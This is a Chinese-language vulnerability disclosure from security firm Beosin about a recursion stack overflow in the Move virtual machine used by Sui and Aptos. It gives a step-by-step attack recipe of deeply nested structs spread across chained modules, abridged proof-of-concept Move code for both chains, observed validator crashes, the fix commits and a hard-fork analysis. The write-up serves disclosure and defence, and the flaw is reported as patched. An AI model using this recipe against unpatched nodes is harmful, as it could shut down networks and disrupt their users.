一个小小的递归函数调用，就导致栈溢出，而栈溢出又导致整个网络崩溃（total network shutdown），再利用一些攻击手段，很可能使区块链产生硬分叉。
作者：Poet，Beosin 安全专家
封面：Photo by Armand Khoury on Unsplash
目前该漏洞已被官方修复。Suimainnet_v1.2.1、Aptosmainnet_v1.4.3、Move 语言 2023 年 6 月 10 日之后的版本修复了此漏洞。
前言
Move 是一个新的区块链语言，被 Aptos、Sui 等公链使用。近期我们 Beosin 安全研究团队发现了一个递归调用导致的栈溢出漏洞，这个漏洞可以导致整个网络崩溃（total network shutdown），还会导致新的 validator 无法加入到网络中，甚至可能会导致硬分叉！
我们在发现并验证这个漏洞后，第一时间（2023 年 5 月 30 日）通过邮件与 Sui 团队取得联系，随后在他们的建议下，将漏洞提交到了 Immunefi 漏洞赏金平台（2023 年 6 月 2 日）。
不过在我们提交漏洞之后，官方团队回复称他们于一个月前内部发现了该问题，并在秘密进行安全修复，并于我们提交 immunefi 的当天发布了修复版本（2023 年 6 月 2 日）。我们理解并尊重他们的回复。
当前版本该漏洞已修复，所以我们现在公开我们的研究发现。作为区块链安全行业的领先者，我们持续关注区块链生态的安全。
知识前提
Move 虚拟机是由 Rust 语言编写实现。Move 代码组织（和分发）的主要单位是 Package。Package 由一组 module 组成，这些 module 定义在单独的文件中，扩展名为 .move。这些文件包括 Move 函数和类型定义。
最小包源目录结构如下所示，包含清单文件、锁定文件和一个或多个模块文件所在的 sources 子目录：
my_move_package：
├── Move.lock
├── Move.toml
├── sources
├── my_module.movePackage 可以被 Publish 到区块链上。一个 Package 可以包含多个 Module，一个 Module 可以包含多个函数、结构体。
函数的参数可以是结构体，结构体可以内嵌其他结构体，如下所示：
module helloworld::hello { struct CCC { c : u64 }}
module my_module::my_module{ struct BBB { b : helloworld::hello::CCC }
struct AAA { a : BBB }
public fun mint( c_param : helloworld::hello::CCC ){ let a1 = AAA { a : BBB { b : c_param } };
let a2 = AAA { a : BBB { b : helloworld::hello::CCC { c : 0x555 } } }; }}在 Rust 编程语言里面，递归函数调用的时候，如果没有限制调用深度，会导致栈溢出或者 cpu、内存等资源的耗尽。Move 虚拟机正是由 Rust 语言编写。
漏洞描述
在 Move 虚拟机里面，为了处理各种结构化数据（比如序列化数据、结构体嵌套、数组嵌套、泛型嵌套），经常会用到递归函数。为了防止由于递归调用导致的栈溢出，需要对递归调用的深度进行检查。如下所示：
上面的图片是 Move 虚拟机限制简单和复杂类型结构的解析深度
上面的图片是 Move 虚拟机对字节码里面 SIGNATURE_TOKEN 深度的限制。
尽管 Move 虚拟机在很多地方都有递归调用深度检查，但是它仍然有某些情况没有考虑到。
我们现在考虑一种攻击方式：定义一个 struct A，然后 A 嵌套 struct B，然后 B 嵌套 struct C.... 这样一直嵌套下去，如果 Move 虚拟机是用一个递归函数来处理这种嵌套关系，那么 Move 虚拟机会因为栈溢出或者资源不足而崩溃。尽管 Move 对每个 module 可以定义的 struct 数量有限制，但是我们可以创建无数个 module。
这样我们就有了攻击思路：
1、生成 25 个（完全可以比 25 多）package，每个 package 包含 1 个 module
2、每个 module 里面定义 64 个（Aptos 里面可以比 64 多）有链式嵌套关系的 struct，每个 module 里的第一个 struct，嵌套上一个 module 里面的最后一个 struct。
3、每个 module 里面包含一个可调用的 entry 函数。这个函数接受一个参数，这个参数类型是上一个 module 的最后一个 struct（第 64 个 struct）。这个函数创建并返回本 module 的最后一个 struct 实例（第 64 个 struct）
4、按照顺序 publish 每个 package
5、按照顺序调用每个 module 里面的 entry 函数
针对 Sui mainnet_v1.1.1_，我们测试后发现如下现象（我们的测试环境有 4 个 validator）：
1、运行一次 poc 之后，4 个 validator 会因为栈溢出马上崩溃
2、至少 3 个 validator 崩溃重启后，所有的 fullnode 会崩溃
3、至少 3 个 validator 崩溃重启后，新的 validator 加入时会崩溃至少 1 次
4、至少 3 个 validator 崩溃重启后，新的 fullnode 加入时有时候会崩溃 1 次
5、如果运气好的话，某些 validator、fullnode 崩溃后无法重启，只有删除本地所有数据库，才能重启
针对 Sui mainnet_v1.2.0，我们测试后发现如下现象（我们的测试环境有 4 个 validator）：
1、运行一次 poc 之后，至少有 1 个 validator 会因为栈溢出或者 out of memory 而崩溃；
2、再次运行一次 poc，可以让第 2 个 validator 崩溃。然后整个网络无法接受新的交易；
3、崩溃后的 validator 有可能无法重启。删除这个 validator 的所有本地数据库，然后运行它，它会在一段时间后崩溃，而且再也无法重启；
4、新的 validator 加入网络的时候，会崩溃。
我们简单测试了 Aptos，发现 Aptos 也会崩溃：
PoC
Sui 链的 PoC
module hello_world_2::hello{ use std::string; use sui::object::{Self, UID}; use sui::transfer; use sui::tx_context::{Self, TxContext};
struct T_0 has key,store{ id : UID, m : hello_world_1::hello::T_63 } struct T_1 has key,store{ id : UID, m : T_0 }
........other not printed.........
struct T_62 has key,store{ id : UID, m : T_61 } struct T_63 has key,store{ id : UID, m : T_62 } public entry fun mint(previous: hello_world_1::hello::T_63 ,ctx: &mut TxContext) { let object = T_63{ id: object::new(ctx), m : T_62{ id: object::new(ctx), m : T_61{ id: object::new(ctx),
........other not printed.........
m : T_1{ id: object::new(ctx), m : T_0{ id: object::new(ctx), m : previous}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}; transfer::transfer(object, tx_context::sender(ctx)); }}每创建一个这样的 module，就 Publish 到 Sui 链上，并调用 mint 函数，获取它创建的"object"，同时将"object"作为参数传递给下一个 module 的 mint 函数，直到 Sui 节点崩溃
Aptos 链的 PoC
module Test2::test_module2{ struct Struct0 has key,store,drop { m : Test1::test_module1::Struct200 } struct Struct1 has key,store,drop{ m : Struct0 } ........other not printed.........
struct Struct199 has key,store,drop{ m : Struct198 } struct Struct200 has key,store,drop{ m : Struct199 } public entry fun mint(_account : signer){ let previous0 = 5554444; let previous1 = Test0::test_module0::test_function(previous0); let previous2 = Test1::test_module1::test_function(previous1); let _current = test_function(previous2); } public fun test_function(previous : Test1::test_module1::Struct200) : Struct200{ let object = Struct200{ m:Struct199{........other not printed......... m:Struct1{ m:Struct0{ m:previous}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}; object }}每创建一个这样的 module，就 Publish 到 Aptos 链上，并调用 mint 函数，直到 Aptos 节点崩溃。
漏洞修复
Sui mainnet_v1.2.1（2023 年 6 月 2 号）、Aptos mainnet_v1.4.3（2023 年 6 月 3 号）、Move 语言 2023 年 6 月 10 日之后的版本修复了此漏洞。
Sui 补丁代码：
https://github.com/MystenLabs/sui/commit/8b681515c0cf435df2a54198a28ab4ef574d202b
补丁代码在创建 struct、vec、generic 的地方，对类型引用深度作了限制。增加的关键函数是”check_depth_of_type”。
Aptos 补丁代码：
https://github.com/aptos-labs/aptos-core/commit/47a0391c612407fe0b1051ef658a29e35d986963
和 Sui 一样，补丁代码在创建 struct、vec、generic 的地方，对类型引用深度作了限制。增加的关键函数是”check_depth_of_type”。
Move 语言补丁代码：
https://github.com/move-language/move/commit/8f5303a365cf9da7554f8f18c393b3d6eb4867f2
和 Sui、Aptos 一样，补丁代码在创建 struct、vec、generic 的地方，对类型引用深度作了限制。增加的关键函数是”check_depth_of_type”。
漏洞影响
这个漏洞利用非常简单，而且一次攻击消耗的 gas 也非常小。但是该漏洞的影响非常大，可以导致整个网络崩溃（total network shutdown），还会让新的 validator 无法加入到网络中，甚至可能导致硬分叉（hard fork）。Sui mainnet_v1.2.1、Aptos mainnet_v1.4.3 以前的版本都受此漏洞影响。
为什么这个漏洞有可能会导致硬分叉？
1、恶意攻击者可以创建任意深度的结构体嵌套关系，并将这些恶意 struct 部署到链上。然后针对这些结构体发送一些不可改变的恶意交易，虽然这个过程中可能会导致网络崩溃，但是部分恶意交易还是会被已经被部署到链上了。
2、为了修补这个漏洞，我们可以限制递归调用的深度。但是这样我们就再也无法引用已经部署到区块链上的的恶意结构体，也无法在虚拟机里面验证与恶意 struct 相关的历史交易。只有硬分叉才能解决这种问题。
3、由于导致硬分叉的测试对现行网络影响过于严重，我们放弃了该测试，但理论上我们认为可行。
总结
一个小小的递归函数调用，就导致栈溢出，而栈溢出又导致整个网络崩溃（total network shutdown），再利用一些攻击手段，很可能使区块链产生硬分叉。所以，区块链的安全是永远排在第一位的。我们建议项目方要多注意这种类型的漏洞，最好是找专业的区块链安全机构进行全面的审计。
免责声明：作为区块链信息平台，本站所发布文章仅代表作者及嘉宾个人观点，与 Web3Caff 立场无关。本文内容仅用于信息分享，均不构成任何投资建议及要约，并请您遵守所在国家或地区的相关法律法规。
